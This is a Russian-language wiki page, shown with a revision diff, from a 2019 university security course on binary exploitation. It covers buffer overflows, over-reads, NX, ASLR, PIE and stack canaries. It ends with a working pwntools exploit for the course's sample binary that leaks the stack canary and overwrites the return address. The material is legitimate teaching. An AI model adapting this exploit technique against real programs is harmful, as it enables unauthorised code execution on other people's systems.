Введение в практическую безопасность (2019)/Бинарная эксплуатация: различия между версиями

Материал из SecSem Wiki
Перейти к навигации Перейти к поиску
(материалы про бинарщину)
 
м (pwntools: ссылка на архив с бинарями)
Строка 81: Строка 81:
 
http://docs.pwntools.com/en/stable/index.html
 
http://docs.pwntools.com/en/stable/index.html
  
Пример эксплоита для примера <code>example_1.5_gets</code>, разбираемого на задании:
+
Эксплоит для примера <code>example_1.5_gets</code>, разбираемого на задании ([[Media:2019 pwn samples.zip]]):
  
 
<pre>
 
<pre>

Версия 00:15, 21 марта 2019

Уязвимости

Переполнение буфера

Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции gets, strcpy, а также такое встречается и в пользовательском коде.

Техника эксплуатации сильно зависит от того, где произошло переполнение.

  • Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.
  • Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.
  • Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором[1][2][3].

Buffer over-read

Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.

Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг wikipedia:Heartbleed.

Uninitialized memory read

Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.

Средства защиты

В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).

No execute (NX)

Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через malloc или в статический глобальный буфер, при попытке выполнить этот код произойдет SIGSEGV

На уровне пользовательской программы это реализовано флагом prot в системных вызовах mmap и mprotect. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (ld.so) и libc сами выделяют память с правильными правами доступа.

Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на system.

Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы pmap, команды info proc mappings в GDB, или vmmap в GDB+PEDA.

ASLR

Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.

Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции system просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг is_admin): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.

Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция main возвращается куда-то в недра __libc_start_main, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.

Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано 0x00400000.

Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.

$ pwn checksec /bin/bash
[*] '/bin/bash'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Stack canary

Stack canary (-fstack-protector, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.

При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.

В прологе функции за адресом возврата[4] на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.

В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа strcpy.

В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите __readfsqword(0x28u), можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.

Инструменты

pwntools

pwntools - удобная библиотека-фреймворк для написания эксплоитов.

http://docs.pwntools.com/en/stable/index.html

Эксплоит для примера example_1.5_gets, разбираемого на задании (Media:2019 pwn samples.zip):

#!/usr/bin/env python2

from pwn import *

# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal
# or just run in tmux and everything will work
#context.terminal = ["xterm", "-e"]

p = process(["stdbuf", "-i0", "-o0", "./example_1.5_gets"])

#gdb.attach(p) # <- uncomment to enable debugger

p.sendline("128")
p.sendline("aaaa")

#p.interactive()

p.recvuntil("Hello, ")

data = p.recvuntil("Enter password")

print hexdump(data)

canary = data[40:48]

payload = ""
payload += "A" * 40
payload += canary
payload += "A" * 24
payload += p64(0x400B33) # <- try to set it to 0xdeadbeef and see what happens in debugger

p.sendline(payload)

p.interactive()

Примечания

  1. https://sourceware.org/glibc/wiki/MallocInternals
  2. https://github.com/shellphish/how2heap
  3. Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.
  4. Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.